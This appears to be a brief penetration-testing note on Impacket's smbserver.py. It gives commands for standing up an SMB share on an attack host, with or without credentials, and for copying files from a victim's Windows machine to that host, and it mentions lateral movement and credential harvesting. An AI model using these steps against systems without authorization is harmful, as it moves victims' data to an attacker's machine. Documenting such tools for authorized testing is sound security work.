Summery

smbserver.py is a Python script in Impacket that sets up a SMB server for file sharing over a network. It allows attackers or penetration testers to serve files via SMB, enabling lateral movement and credential harvesting.

You can download files from a victim’s Windows server to your Linux attack host using these commands:
CMD - copy filename \\IP\sharename
PowerShell - Move-Item -Path "source_path" -Destination "destination_path"

Unauthorized SMB share
Use this command to create a simple share that doesn’t need any credentials.
sudo impacket-smbserver pride ./ -smb2support

Authorized SMB share
Add login credentials to make it more secure. Also, sometimes systems don’t like unauthorized shares with null sessions
sudo impacket-smbserver pride ./ -smb2support -user test -password test